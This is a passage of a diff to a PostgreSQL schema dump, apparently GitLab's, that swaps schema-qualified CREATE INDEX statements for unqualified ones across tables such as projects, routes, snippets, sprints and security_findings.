+CREATE INDEX index_protected_environment_deploy_access_levels_on_group_id ON protected_environment_deploy_access_levels USING btree (group_id);
-CREATE INDEX index_projects_on_name_trigram ON public.projects USING gin (name public.gin_trgm_ops);
+CREATE INDEX index_protected_environment_deploy_access_levels_on_user_id ON protected_environment_deploy_access_levels USING btree (user_id);
-CREATE INDEX index_projects_on_namespace_id_and_id ON public.projects USING btree (namespace_id, id);
+CREATE INDEX index_protected_environments_on_project_id ON protected_environments USING btree (project_id);
-CREATE INDEX index_projects_on_path_and_id ON public.projects USING btree (path, id);
+CREATE UNIQUE INDEX index_protected_environments_on_project_id_and_name ON protected_environments USING btree (project_id, name);
-CREATE INDEX index_projects_on_path_trigram ON public.projects USING gin (path public.gin_trgm_ops);
+CREATE INDEX index_protected_tag_create_access ON protected_tag_create_access_levels USING btree (protected_tag_id);
-CREATE INDEX index_projects_on_pending_delete ON public.projects USING btree (pending_delete);
+CREATE INDEX index_protected_tag_create_access_levels_on_group_id ON protected_tag_create_access_levels USING btree (group_id);
-CREATE INDEX index_projects_on_pool_repository_id ON public.projects USING btree (pool_repository_id) WHERE (pool_repository_id IS NOT NULL);
+CREATE INDEX index_protected_tag_create_access_levels_on_user_id ON protected_tag_create_access_levels USING btree (user_id);
-CREATE INDEX index_projects_on_repository_storage ON public.projects USING btree (repository_storage);
+CREATE INDEX index_protected_tags_on_project_id ON protected_tags USING btree (project_id);
-CREATE INDEX index_projects_on_runners_token ON public.projects USING btree (runners_token);
+CREATE UNIQUE INDEX index_protected_tags_on_project_id_and_name ON protected_tags USING btree (project_id, name);
-CREATE INDEX index_projects_on_runners_token_encrypted ON public.projects USING btree (runners_token_encrypted);
+CREATE UNIQUE INDEX index_push_event_payloads_on_event_id ON push_event_payloads USING btree (event_id);
-CREATE INDEX index_projects_on_star_count ON public.projects USING btree (star_count);
+CREATE INDEX index_push_rules_on_is_sample ON push_rules USING btree (is_sample) WHERE is_sample;
-CREATE INDEX index_projects_on_updated_at_and_id ON public.projects USING btree (updated_at, id);
+CREATE INDEX index_push_rules_on_project_id ON push_rules USING btree (project_id);
-CREATE UNIQUE INDEX index_prometheus_alert_event_scoped_payload_key ON public.prometheus_alert_events USING btree (prometheus_alert_id, payload_key);
+CREATE UNIQUE INDEX index_raw_usage_data_on_recorded_at ON raw_usage_data USING btree (recorded_at);
-CREATE INDEX index_prometheus_alert_events_on_project_id_and_status ON public.prometheus_alert_events USING btree (project_id, status);
+CREATE UNIQUE INDEX index_redirect_routes_on_path ON redirect_routes USING btree (path);
-CREATE UNIQUE INDEX index_prometheus_alerts_metric_environment ON public.prometheus_alerts USING btree (project_id, prometheus_metric_id, environment_id);
+CREATE UNIQUE INDEX index_redirect_routes_on_path_unique_text_pattern_ops ON redirect_routes USING btree (lower((path)::text) varchar_pattern_ops);
-CREATE INDEX index_prometheus_alerts_on_environment_id ON public.prometheus_alerts USING btree (environment_id);
+CREATE INDEX index_redirect_routes_on_source_type_and_source_id ON redirect_routes USING btree (source_type, source_id);
-CREATE INDEX index_prometheus_alerts_on_prometheus_metric_id ON public.prometheus_alerts USING btree (prometheus_metric_id);
+CREATE UNIQUE INDEX index_release_links_on_release_id_and_name ON release_links USING btree (release_id, name);
-CREATE INDEX index_prometheus_metrics_on_common ON public.prometheus_metrics USING btree (common);
+CREATE UNIQUE INDEX index_release_links_on_release_id_and_url ON release_links USING btree (release_id, url);
-CREATE INDEX index_prometheus_metrics_on_group ON public.prometheus_metrics USING btree ("group");
+CREATE INDEX index_releases_on_author_id ON releases USING btree (author_id);
-CREATE UNIQUE INDEX index_prometheus_metrics_on_identifier_and_null_project ON public.prometheus_metrics USING btree (identifier) WHERE (project_id IS NULL);
+CREATE INDEX index_releases_on_project_id_and_tag ON releases USING btree (project_id, tag);
-CREATE UNIQUE INDEX index_prometheus_metrics_on_identifier_and_project_id ON public.prometheus_metrics USING btree (identifier, project_id);
+CREATE INDEX index_remote_mirrors_on_last_successful_update_at ON remote_mirrors USING btree (last_successful_update_at);
-CREATE INDEX index_prometheus_metrics_on_project_id ON public.prometheus_metrics USING btree (project_id);
+CREATE INDEX index_remote_mirrors_on_project_id ON remote_mirrors USING btree (project_id);
-CREATE INDEX index_protected_branch_merge_access ON public.protected_branch_merge_access_levels USING btree (protected_branch_id);
+CREATE UNIQUE INDEX index_repository_languages_on_project_and_languages_id ON repository_languages USING btree (project_id, programming_language_id);
-CREATE INDEX index_protected_branch_merge_access_levels_on_group_id ON public.protected_branch_merge_access_levels USING btree (group_id);
+CREATE INDEX index_requirements_management_test_reports_on_author_id ON requirements_management_test_reports USING btree (author_id);
-CREATE INDEX index_protected_branch_merge_access_levels_on_user_id ON public.protected_branch_merge_access_levels USING btree (user_id);
+CREATE INDEX index_requirements_management_test_reports_on_build_id ON requirements_management_test_reports USING btree (build_id);
-CREATE INDEX index_protected_branch_push_access ON public.protected_branch_push_access_levels USING btree (protected_branch_id);
+CREATE INDEX index_requirements_management_test_reports_on_requirement_id ON requirements_management_test_reports USING btree (requirement_id);
-CREATE INDEX index_protected_branch_push_access_levels_on_group_id ON public.protected_branch_push_access_levels USING btree (group_id);
+CREATE INDEX index_requirements_on_author_id ON requirements USING btree (author_id);
-CREATE INDEX index_protected_branch_push_access_levels_on_user_id ON public.protected_branch_push_access_levels USING btree (user_id);
+CREATE INDEX index_requirements_on_created_at ON requirements USING btree (created_at);
-CREATE INDEX index_protected_branch_unprotect_access ON public.protected_branch_unprotect_access_levels USING btree (protected_branch_id);
+CREATE INDEX index_requirements_on_project_id ON requirements USING btree (project_id);
-CREATE INDEX index_protected_branch_unprotect_access_levels_on_group_id ON public.protected_branch_unprotect_access_levels USING btree (group_id);
+CREATE UNIQUE INDEX index_requirements_on_project_id_and_iid ON requirements USING btree (project_id, iid) WHERE (project_id IS NOT NULL);
-CREATE INDEX index_protected_branch_unprotect_access_levels_on_user_id ON public.protected_branch_unprotect_access_levels USING btree (user_id);
+CREATE INDEX index_requirements_on_state ON requirements USING btree (state);
-CREATE INDEX index_protected_branches_on_project_id ON public.protected_branches USING btree (project_id);
+CREATE INDEX index_requirements_on_title_trigram ON requirements USING gin (title gin_trgm_ops);
-CREATE INDEX index_protected_environment_deploy_access ON public.protected_environment_deploy_access_levels USING btree (protected_environment_id);
+CREATE INDEX index_requirements_on_updated_at ON requirements USING btree (updated_at);
-CREATE INDEX index_protected_environment_deploy_access_levels_on_group_id ON public.protected_environment_deploy_access_levels USING btree (group_id);
+CREATE INDEX index_resource_iteration_events_on_issue_id ON resource_iteration_events USING btree (issue_id);
-CREATE INDEX index_protected_environment_deploy_access_levels_on_user_id ON public.protected_environment_deploy_access_levels USING btree (user_id);
+CREATE INDEX index_resource_iteration_events_on_iteration_id ON resource_iteration_events USING btree (iteration_id);
-CREATE INDEX index_protected_environments_on_project_id ON public.protected_environments USING btree (project_id);
+CREATE INDEX index_resource_iteration_events_on_iteration_id_and_add_action ON resource_iteration_events USING btree (iteration_id) WHERE (action = 1);
-CREATE UNIQUE INDEX index_protected_environments_on_project_id_and_name ON public.protected_environments USING btree (project_id, name);
+CREATE INDEX index_resource_iteration_events_on_merge_request_id ON resource_iteration_events USING btree (merge_request_id);
-CREATE INDEX index_protected_tag_create_access ON public.protected_tag_create_access_levels USING btree (protected_tag_id);
+CREATE INDEX index_resource_iteration_events_on_user_id ON resource_iteration_events USING btree (user_id);
-CREATE INDEX index_protected_tag_create_access_levels_on_group_id ON public.protected_tag_create_access_levels USING btree (group_id);
+CREATE INDEX index_resource_label_events_issue_id_label_id_action ON resource_label_events USING btree (issue_id, label_id, action);
-CREATE INDEX index_protected_tag_create_access_levels_on_user_id ON public.protected_tag_create_access_levels USING btree (user_id);
+CREATE INDEX index_resource_label_events_on_epic_id ON resource_label_events USING btree (epic_id);
-CREATE INDEX index_protected_tags_on_project_id ON public.protected_tags USING btree (project_id);
+CREATE INDEX index_resource_label_events_on_label_id_and_action ON resource_label_events USING btree (label_id, action);
-CREATE UNIQUE INDEX index_protected_tags_on_project_id_and_name ON public.protected_tags USING btree (project_id, name);
+CREATE INDEX index_resource_label_events_on_merge_request_id_label_id_action ON resource_label_events USING btree (merge_request_id, label_id, action);
-CREATE UNIQUE INDEX index_push_event_payloads_on_event_id ON public.push_event_payloads USING btree (event_id);
+CREATE INDEX index_resource_label_events_on_user_id ON resource_label_events USING btree (user_id);
-CREATE INDEX index_push_rules_on_is_sample ON public.push_rules USING btree (is_sample) WHERE is_sample;
+CREATE INDEX index_resource_milestone_events_created_at ON resource_milestone_events USING btree (created_at);
-CREATE INDEX index_push_rules_on_project_id ON public.push_rules USING btree (project_id);
+CREATE INDEX index_resource_milestone_events_on_issue_id ON resource_milestone_events USING btree (issue_id);
-CREATE UNIQUE INDEX index_raw_usage_data_on_recorded_at ON public.raw_usage_data USING btree (recorded_at);
+CREATE INDEX index_resource_milestone_events_on_merge_request_id ON resource_milestone_events USING btree (merge_request_id);
-CREATE UNIQUE INDEX index_redirect_routes_on_path ON public.redirect_routes USING btree (path);
+CREATE INDEX index_resource_milestone_events_on_milestone_id ON resource_milestone_events USING btree (milestone_id);
-CREATE UNIQUE INDEX index_redirect_routes_on_path_unique_text_pattern_ops ON public.redirect_routes USING btree (lower((path)::text) varchar_pattern_ops);
+CREATE INDEX index_resource_milestone_events_on_milestone_id_and_add_action ON resource_milestone_events USING btree (milestone_id) WHERE (action = 1);
-CREATE INDEX index_redirect_routes_on_source_type_and_source_id ON public.redirect_routes USING btree (source_type, source_id);
+CREATE INDEX index_resource_milestone_events_on_user_id ON resource_milestone_events USING btree (user_id);
-CREATE UNIQUE INDEX index_release_links_on_release_id_and_name ON public.release_links USING btree (release_id, name);
+CREATE INDEX index_resource_state_events_on_epic_id ON resource_state_events USING btree (epic_id);
-CREATE UNIQUE INDEX index_release_links_on_release_id_and_url ON public.release_links USING btree (release_id, url);
+CREATE INDEX index_resource_state_events_on_issue_id_and_created_at ON resource_state_events USING btree (issue_id, created_at);
-CREATE INDEX index_releases_on_author_id ON public.releases USING btree (author_id);
+CREATE INDEX index_resource_state_events_on_merge_request_id ON resource_state_events USING btree (merge_request_id);
-CREATE INDEX index_releases_on_project_id_and_tag ON public.releases USING btree (project_id, tag);
+CREATE INDEX index_resource_state_events_on_source_merge_request_id ON resource_state_events USING btree (source_merge_request_id);
-CREATE INDEX index_remote_mirrors_on_last_successful_update_at ON public.remote_mirrors USING btree (last_successful_update_at);
+CREATE INDEX index_resource_state_events_on_user_id ON resource_state_events USING btree (user_id);
-CREATE INDEX index_remote_mirrors_on_project_id ON public.remote_mirrors USING btree (project_id);
+CREATE INDEX index_resource_weight_events_on_issue_id_and_created_at ON resource_weight_events USING btree (issue_id, created_at);
-CREATE UNIQUE INDEX index_repository_languages_on_project_and_languages_id ON public.repository_languages USING btree (project_id, programming_language_id);
+CREATE INDEX index_resource_weight_events_on_issue_id_and_weight ON resource_weight_events USING btree (issue_id, weight);
-CREATE INDEX index_requirements_management_test_reports_on_author_id ON public.requirements_management_test_reports USING btree (author_id);
+CREATE INDEX index_resource_weight_events_on_user_id ON resource_weight_events USING btree (user_id);
-CREATE INDEX index_requirements_management_test_reports_on_build_id ON public.requirements_management_test_reports USING btree (build_id);
+CREATE INDEX index_reviews_on_author_id ON reviews USING btree (author_id);
-CREATE INDEX index_requirements_management_test_reports_on_pipeline_id ON public.requirements_management_test_reports USING btree (pipeline_id);
+CREATE INDEX index_reviews_on_merge_request_id ON reviews USING btree (merge_request_id);
-CREATE INDEX index_requirements_management_test_reports_on_requirement_id ON public.requirements_management_test_reports USING btree (requirement_id);
+CREATE INDEX index_reviews_on_project_id ON reviews USING btree (project_id);
-CREATE INDEX index_requirements_on_author_id ON public.requirements USING btree (author_id);
+CREATE UNIQUE INDEX index_routes_on_path ON routes USING btree (path);
-CREATE INDEX index_requirements_on_created_at ON public.requirements USING btree (created_at);
+CREATE INDEX index_routes_on_path_text_pattern_ops ON routes USING btree (path varchar_pattern_ops);
-CREATE INDEX index_requirements_on_project_id ON public.requirements USING btree (project_id);
+CREATE INDEX index_routes_on_path_trigram ON routes USING gin (path gin_trgm_ops);
-CREATE UNIQUE INDEX index_requirements_on_project_id_and_iid ON public.requirements USING btree (project_id, iid) WHERE (project_id IS NOT NULL);
+CREATE UNIQUE INDEX index_routes_on_source_type_and_source_id ON routes USING btree (source_type, source_id);
-CREATE INDEX index_requirements_on_state ON public.requirements USING btree (state);
+CREATE INDEX index_saml_providers_on_group_id ON saml_providers USING btree (group_id);
-CREATE INDEX index_requirements_on_title_trigram ON public.requirements USING gin (title public.gin_trgm_ops);
+CREATE INDEX index_scim_identities_on_group_id ON scim_identities USING btree (group_id);
-CREATE INDEX index_requirements_on_updated_at ON public.requirements USING btree (updated_at);
+CREATE UNIQUE INDEX index_scim_identities_on_lower_extern_uid_and_group_id ON scim_identities USING btree (lower((extern_uid)::text), group_id);
-CREATE INDEX index_resource_iteration_events_on_issue_id ON public.resource_iteration_events USING btree (issue_id);
+CREATE UNIQUE INDEX index_scim_identities_on_user_id_and_group_id ON scim_identities USING btree (user_id, group_id);
-CREATE INDEX index_resource_iteration_events_on_iteration_id ON public.resource_iteration_events USING btree (iteration_id);
+CREATE UNIQUE INDEX index_scim_oauth_access_tokens_on_group_id_and_token_encrypted ON scim_oauth_access_tokens USING btree (group_id, token_encrypted);
-CREATE INDEX index_resource_iteration_events_on_merge_request_id ON public.resource_iteration_events USING btree (merge_request_id);
+CREATE INDEX index_secure_ci_builds_on_user_id_created_at_parser_features ON ci_builds USING btree (user_id, created_at) WHERE (((type)::text = 'Ci::Build'::text) AND ((name)::text = ANY (ARRAY[('container_scanning'::character varying)::text, ('dast'::character varying)::text, ('dependency_scanning'::character varying)::text, ('license_management'::character varying)::text, ('license_scanning'::character varying)::text, ('sast'::character varying)::text, ('coverage_fuzzing'::character varying)::text, ('secret_detection'::character varying)::text])));
-CREATE INDEX index_resource_iteration_events_on_user_id ON public.resource_iteration_events USING btree (user_id);
+CREATE INDEX index_security_ci_builds_on_name_and_id_parser_features ON ci_builds USING btree (name, id) WHERE (((name)::text = ANY (ARRAY[('container_scanning'::character varying)::text, ('dast'::character varying)::text, ('dependency_scanning'::character varying)::text, ('license_management'::character varying)::text, ('sast'::character varying)::text, ('secret_detection'::character varying)::text, ('coverage_fuzzing'::character varying)::text, ('license_scanning'::character varying)::text])) AND ((type)::text = 'Ci::Build'::text));
-CREATE INDEX index_resource_label_events_issue_id_label_id_action ON public.resource_label_events USING btree (issue_id, label_id, action);
+CREATE INDEX index_security_findings_on_confidence ON security_findings USING btree (confidence);
-CREATE INDEX index_resource_label_events_on_epic_id ON public.resource_label_events USING btree (epic_id);
+CREATE INDEX index_security_findings_on_project_fingerprint ON security_findings USING btree (project_fingerprint);
-CREATE INDEX index_resource_label_events_on_label_id_and_action ON public.resource_label_events USING btree (label_id, action);
+CREATE INDEX index_security_findings_on_scan_id_and_deduplicated ON security_findings USING btree (scan_id, deduplicated);
-CREATE INDEX index_resource_label_events_on_merge_request_id_label_id_action ON public.resource_label_events USING btree (merge_request_id, label_id, action);
+CREATE INDEX index_security_findings_on_scanner_id ON security_findings USING btree (scanner_id);
-CREATE INDEX index_resource_label_events_on_user_id ON public.resource_label_events USING btree (user_id);
+CREATE INDEX index_security_findings_on_severity ON security_findings USING btree (severity);
-CREATE INDEX index_resource_milestone_events_created_at ON public.resource_milestone_events USING btree (created_at);
+CREATE INDEX index_self_managed_prometheus_alert_events_on_environment_id ON self_managed_prometheus_alert_events USING btree (environment_id);
-CREATE INDEX index_resource_milestone_events_on_issue_id ON public.resource_milestone_events USING btree (issue_id);
+CREATE INDEX index_sent_notifications_on_noteable_type_noteable_id ON sent_notifications USING btree (noteable_id) WHERE ((noteable_type)::text = 'Issue'::text);
-CREATE INDEX index_resource_milestone_events_on_merge_request_id ON public.resource_milestone_events USING btree (merge_request_id);
+CREATE UNIQUE INDEX index_sent_notifications_on_reply_key ON sent_notifications USING btree (reply_key);
-CREATE INDEX index_resource_milestone_events_on_milestone_id ON public.resource_milestone_events USING btree (milestone_id);
+CREATE UNIQUE INDEX index_sentry_issues_on_issue_id ON sentry_issues USING btree (issue_id);
-CREATE INDEX index_resource_milestone_events_on_milestone_id_and_add_action ON public.resource_milestone_events USING btree (milestone_id) WHERE (action = 1);
+CREATE INDEX index_sentry_issues_on_sentry_issue_identifier ON sentry_issues USING btree (sentry_issue_identifier);
-CREATE INDEX index_resource_milestone_events_on_user_id ON public.resource_milestone_events USING btree (user_id);
+CREATE INDEX index_serverless_domain_cluster_on_creator_id ON serverless_domain_cluster USING btree (creator_id);
-CREATE INDEX index_resource_state_events_on_epic_id ON public.resource_state_events USING btree (epic_id);
+CREATE INDEX index_serverless_domain_cluster_on_pages_domain_id ON serverless_domain_cluster USING btree (pages_domain_id);
-CREATE INDEX index_resource_state_events_on_issue_id_and_created_at ON public.resource_state_events USING btree (issue_id, created_at);
+CREATE INDEX index_service_desk_enabled_projects_on_id_creator_id_created_at ON projects USING btree (id, creator_id, created_at) WHERE (service_desk_enabled = true);
-CREATE INDEX index_resource_state_events_on_merge_request_id ON public.resource_state_events USING btree (merge_request_id);
+CREATE INDEX index_services_on_inherit_from_id ON services USING btree (inherit_from_id);
-CREATE INDEX index_resource_state_events_on_source_merge_request_id ON public.resource_state_events USING btree (source_merge_request_id);
+CREATE INDEX index_services_on_project_id_and_type ON services USING btree (project_id, type);
-CREATE INDEX index_resource_state_events_on_user_id ON public.resource_state_events USING btree (user_id);
+CREATE INDEX index_services_on_template ON services USING btree (template);
-CREATE INDEX index_resource_weight_events_on_issue_id_and_created_at ON public.resource_weight_events USING btree (issue_id, created_at);
+CREATE INDEX index_services_on_type ON services USING btree (type);
-CREATE INDEX index_resource_weight_events_on_issue_id_and_weight ON public.resource_weight_events USING btree (issue_id, weight);
+CREATE UNIQUE INDEX index_services_on_type_and_instance_partial ON services USING btree (type, instance) WHERE (instance = true);
-CREATE INDEX index_resource_weight_events_on_user_id ON public.resource_weight_events USING btree (user_id);
+CREATE UNIQUE INDEX index_services_on_type_and_template_partial ON services USING btree (type, template) WHERE (template = true);
-CREATE INDEX index_reviews_on_author_id ON public.reviews USING btree (author_id);
+CREATE INDEX index_services_on_type_id_when_active_not_instance_not_template ON services USING btree (type, id) WHERE ((active = true) AND (instance = false) AND (template = false));
-CREATE INDEX index_reviews_on_merge_request_id ON public.reviews USING btree (merge_request_id);
+CREATE UNIQUE INDEX index_services_on_unique_group_id_and_type ON services USING btree (group_id, type);
-CREATE INDEX index_reviews_on_project_id ON public.reviews USING btree (project_id);
+CREATE UNIQUE INDEX index_shards_on_name ON shards USING btree (name);
-CREATE UNIQUE INDEX index_routes_on_path ON public.routes USING btree (path);
+CREATE INDEX index_slack_integrations_on_service_id ON slack_integrations USING btree (service_id);
-CREATE INDEX index_routes_on_path_text_pattern_ops ON public.routes USING btree (path varchar_pattern_ops);
+CREATE UNIQUE INDEX index_slack_integrations_on_team_id_and_alias ON slack_integrations USING btree (team_id, alias);
-CREATE INDEX index_routes_on_path_trigram ON public.routes USING gin (path public.gin_trgm_ops);
+CREATE UNIQUE INDEX index_smartcard_identities_on_subject_and_issuer ON smartcard_identities USING btree (subject, issuer);
-CREATE UNIQUE INDEX index_routes_on_source_type_and_source_id ON public.routes USING btree (source_type, source_id);
+CREATE INDEX index_smartcard_identities_on_user_id ON smartcard_identities USING btree (user_id);
-CREATE INDEX index_saml_providers_on_group_id ON public.saml_providers USING btree (group_id);
+CREATE UNIQUE INDEX index_snippet_repositories_on_disk_path ON snippet_repositories USING btree (disk_path);
-CREATE INDEX index_scim_identities_on_group_id ON public.scim_identities USING btree (group_id);
+CREATE INDEX index_snippet_repositories_on_shard_id ON snippet_repositories USING btree (shard_id);
-CREATE UNIQUE INDEX index_scim_identities_on_lower_extern_uid_and_group_id ON public.scim_identities USING btree (lower((extern_uid)::text), group_id);
+CREATE UNIQUE INDEX index_snippet_user_mentions_on_note_id ON snippet_user_mentions USING btree (note_id) WHERE (note_id IS NOT NULL);
-CREATE UNIQUE INDEX index_scim_identities_on_user_id_and_group_id ON public.scim_identities USING btree (user_id, group_id);
+CREATE INDEX index_snippets_on_author_id ON snippets USING btree (author_id);
-CREATE UNIQUE INDEX index_scim_oauth_access_tokens_on_group_id_and_token_encrypted ON public.scim_oauth_access_tokens USING btree (group_id, token_encrypted);
+CREATE INDEX index_snippets_on_content_trigram ON snippets USING gin (content gin_trgm_ops);
-CREATE INDEX index_secure_ci_builds_on_user_id_created_at_parser_features ON public.ci_builds USING btree (user_id, created_at) WHERE (((type)::text = 'Ci::Build'::text) AND ((name)::text = ANY (ARRAY[('container_scanning'::character varying)::text, ('dast'::character varying)::text, ('dependency_scanning'::character varying)::text, ('license_management'::character varying)::text, ('license_scanning'::character varying)::text, ('sast'::character varying)::text, ('coverage_fuzzing'::character varying)::text, ('secret_detection'::character varying)::text])));
+CREATE INDEX index_snippets_on_created_at ON snippets USING btree (created_at);
-CREATE INDEX index_security_ci_builds_on_name_and_id_parser_features ON public.ci_builds USING btree (name, id) WHERE (((name)::text = ANY (ARRAY[('container_scanning'::character varying)::text, ('dast'::character varying)::text, ('dependency_scanning'::character varying)::text, ('license_management'::character varying)::text, ('sast'::character varying)::text, ('secret_detection'::character varying)::text, ('coverage_fuzzing'::character varying)::text, ('license_scanning'::character varying)::text])) AND ((type)::text = 'Ci::Build'::text));
+CREATE INDEX index_snippets_on_description_trigram ON snippets USING gin (description gin_trgm_ops);
-CREATE INDEX index_self_managed_prometheus_alert_events_on_environment_id ON public.self_managed_prometheus_alert_events USING btree (environment_id);
+CREATE INDEX index_snippets_on_file_name_trigram ON snippets USING gin (file_name gin_trgm_ops);
-CREATE INDEX index_sent_notifications_on_noteable_type_noteable_id ON public.sent_notifications USING btree (noteable_id) WHERE ((noteable_type)::text = 'Issue'::text);
+CREATE INDEX index_snippets_on_id_and_created_at ON snippets USING btree (id, created_at);
-CREATE UNIQUE INDEX index_sent_notifications_on_reply_key ON public.sent_notifications USING btree (reply_key);
+CREATE INDEX index_snippets_on_id_and_type ON snippets USING btree (id, type);
-CREATE UNIQUE INDEX index_sentry_issues_on_issue_id ON public.sentry_issues USING btree (issue_id);
+CREATE INDEX index_snippets_on_project_id_and_visibility_level ON snippets USING btree (project_id, visibility_level);
-CREATE INDEX index_sentry_issues_on_sentry_issue_identifier ON public.sentry_issues USING btree (sentry_issue_identifier);
+CREATE INDEX index_snippets_on_title_trigram ON snippets USING gin (title gin_trgm_ops);
-CREATE INDEX index_serverless_domain_cluster_on_creator_id ON public.serverless_domain_cluster USING btree (creator_id);
+CREATE INDEX index_snippets_on_updated_at ON snippets USING btree (updated_at);
-CREATE INDEX index_serverless_domain_cluster_on_pages_domain_id ON public.serverless_domain_cluster USING btree (pages_domain_id);
+CREATE INDEX index_snippets_on_visibility_level_and_secret ON snippets USING btree (visibility_level, secret);
-CREATE INDEX index_service_desk_enabled_projects_on_id_creator_id_created_at ON public.projects USING btree (id, creator_id, created_at) WHERE (service_desk_enabled = true);
+CREATE INDEX index_software_license_policies_on_software_license_id ON software_license_policies USING btree (software_license_id);
-CREATE INDEX index_services_on_inherit_from_id ON public.services USING btree (inherit_from_id);
+CREATE UNIQUE INDEX index_software_license_policies_unique_per_project ON software_license_policies USING btree (project_id, software_license_id);
-CREATE INDEX index_services_on_project_id_and_type ON public.services USING btree (project_id, type);
+CREATE INDEX index_software_licenses_on_spdx_identifier ON software_licenses USING btree (spdx_identifier);
-CREATE INDEX index_services_on_template ON public.services USING btree (template);
+CREATE UNIQUE INDEX index_software_licenses_on_unique_name ON software_licenses USING btree (name);
-CREATE INDEX index_services_on_type ON public.services USING btree (type);
+CREATE INDEX index_sprints_on_description_trigram ON sprints USING gin (description gin_trgm_ops);
-CREATE UNIQUE INDEX index_services_on_type_and_instance_partial ON public.services USING btree (type, instance) WHERE (instance = true);
+CREATE INDEX index_sprints_on_due_date ON sprints USING btree (due_date);
-CREATE UNIQUE INDEX index_services_on_type_and_template_partial ON public.services USING btree (type, template) WHERE (template = true);
+CREATE INDEX index_sprints_on_group_id ON sprints USING btree (group_id);
-CREATE INDEX index_services_on_type_id_when_active_not_instance_not_template ON public.services USING btree (type, id) WHERE ((active = true) AND (instance = false) AND (template = false));
+CREATE UNIQUE INDEX index_sprints_on_group_id_and_title ON sprints USING btree (group_id, title) WHERE (group_id IS NOT NULL);
-CREATE UNIQUE INDEX index_services_on_unique_group_id_and_type ON public.services USING btree (group_id, type);
+CREATE UNIQUE INDEX index_sprints_on_project_id_and_iid ON sprints USING btree (project_id, iid);
-CREATE UNIQUE INDEX index_shards_on_name ON public.shards USING btree (name);
+CREATE UNIQUE INDEX index_sprints_on_project_id_and_title ON sprints USING btree (project_id, title) WHERE (project_id IS NOT NULL);
-CREATE INDEX index_slack_integrations_on_service_id ON public.slack_integrations USING btree (service_id);
+CREATE INDEX index_sprints_on_title ON sprints USING btree (title);
-CREATE UNIQUE INDEX index_slack_integrations_on_team_id_and_alias ON public.slack_integrations USING btree (team_id, alias);
+CREATE INDEX index_sprints_on_title_trigram ON sprints USING gin (title gin_trgm_ops);
-CREATE UNIQUE INDEX index_smartcard_identities_on_subject_and_issuer ON public.smartcard_identities USING btree (subject, issuer);
+CREATE UNIQUE INDEX index_status_page_published_incidents_on_issue_id ON status_page_published_incidents USING btree (issue_id);
-CREATE INDEX index_smartcard_identities_on_user_id ON public.smartcard_identities USING btree (user_id);
+CREATE INDEX index_status_page_settings_on_project_id ON status_page_settings USING btree (project_id);
-CREATE UNIQUE INDEX index_snippet_repositories_on_disk_path ON public.snippet_repositories USING btree (disk_path);
+CREATE INDEX index_subscriptions_on_project_id ON subscriptions USING btree (project_id);
-CREATE INDEX index_snippet_repositories_on_shard_id ON public.snippet_repositories USING btree (shard_id);
+CREATE UNIQUE INDEX index_subscriptions_on_subscribable_and_user_id_and_project_id ON subscriptions USING btree (subscribable_id, subscribable_type, user_id, project_id);
-CREATE UNIQUE INDEX index_snippet_user_mentions_on_note_id ON public.snippet_user_mentions USING btree (note_id) WHERE (note_id IS NOT NULL);
+CREATE INDEX index_successful_deployments_on_cluster_id_and_environment_id ON deployments USING btree (cluster_id, environment_id) WHERE (status = 2);
-CREATE INDEX index_snippets_on_author_id ON public.snippets USING btree (author_id);
+CREATE UNIQUE INDEX index_suggestions_on_note_id_and_relative_order ON suggestions USING btree (note_id, relative_order);
-CREATE INDEX index_snippets_on_content_trigram ON public.snippets USING gin (content public.gin_trgm_ops);
+CREATE UNIQUE INDEX index_system_note_metadata_on_description_version_id ON system_note_metadata USING btree (description_version_id) WHERE (description_version_id IS NOT NULL);
-CREATE INDEX index_snippets_on_created_at ON public.snippets USING btree (created_at);
+CREATE UNIQUE INDEX index_system_note_metadata_on_note_id ON system_note_metadata USING btree (note_id);
-CREATE INDEX index_snippets_on_description_trigram ON public.snippets USING gin (description public.gin_trgm_ops);
+CREATE INDEX index_taggings_on_tag_id ON taggings USING btree (tag_id);
-CREATE INDEX index_snippets_on_file_name_trigram ON public.snippets USING gin (file_name public.gin_trgm_ops);
+CREATE INDEX index_taggings_on_taggable_id_and_taggable_type ON taggings USING btree (taggable_id, taggable_type);
-CREATE INDEX index_snippets_on_id_and_created_at ON public.snippets USING btree (id, created_at);
+CREATE INDEX index_taggings_on_taggable_id_and_taggable_type_and_context ON taggings USING btree (taggable_id, taggable_type, context);
-CREATE INDEX index_snippets_on_id_and_type ON public.snippets USING btree (id, type);
+CREATE UNIQUE INDEX index_tags_on_name ON tags USING btree (name);
-CREATE INDEX index_snippets_on_project_id_and_visibility_level ON public.snippets USING btree (project_id, visibility_level);
+CREATE INDEX index_tags_on_name_trigram ON tags USING gin (name gin_trgm_ops);
-CREATE INDEX index_snippets_on_title_trigram ON public.snippets USING gin (title public.gin_trgm_ops);
+CREATE INDEX index_term_agreements_on_term_id ON term_agreements USING btree (term_id);
-CREATE INDEX index_snippets_on_updated_at ON public.snippets USING btree (updated_at);
+CREATE INDEX index_term_agreements_on_user_id ON term_agreements USING btree (user_id);
-CREATE INDEX index_snippets_on_visibility_level_and_secret ON public.snippets USING btree (visibility_level, secret);
+CREATE INDEX index_terraform_state_versions_on_created_by_user_id ON terraform_state_versions USING btree (created_by_user_id);
-CREATE INDEX index_software_license_policies_on_software_license_id ON public.software_license_policies USING btree (software_license_id);
+CREATE UNIQUE INDEX index_terraform_state_versions_on_state_id_and_version ON terraform_state_versions USING btree (terraform_state_id, version);
-CREATE UNIQUE INDEX index_software_license_policies_unique_per_project ON public.software_license_policies USING btree (project_id, software_license_id);
+CREATE INDEX index_terraform_states_on_file_store ON terraform_states USING btree (file_store);
-CREATE INDEX index_software_licenses_on_spdx_identifier ON public.software_licenses USING btree (spdx_identifier);
+CREATE INDEX index_terraform_states_on_locked_by_user_id ON terraform_states USING btree (locked_by_user_id);
-CREATE UNIQUE INDEX index_software_licenses_on_unique_name ON public.software_licenses USING btree (name);
+CREATE UNIQUE INDEX index_terraform_states_on_project_id_and_name ON terraform_states USING btree (project_id, name);
-CREATE INDEX index_sprints_on_description_trigram ON public.sprints USING gin (description public.gin_trgm_ops);
+CREATE UNIQUE INDEX index_terraform_states_on_uuid ON terraform_states USING btree (uuid);
-CREATE INDEX index_sprints_on_due_date ON public.sprints USING btree (due_date);
+CREATE INDEX index_timelogs_on_issue_id ON timelogs USING btree (issue_id);
-CREATE INDEX index_sprints_on_group_id ON public.sprints USING btree (group_id);
+CREATE INDEX index_timelogs_on_merge_request_id ON timelogs USING btree (merge_request_id);
-CREATE UNIQUE INDEX index_sprints_on_group_id_and_title ON public.sprints USING btree (group_id, title) WHERE (group_id IS NOT NULL);
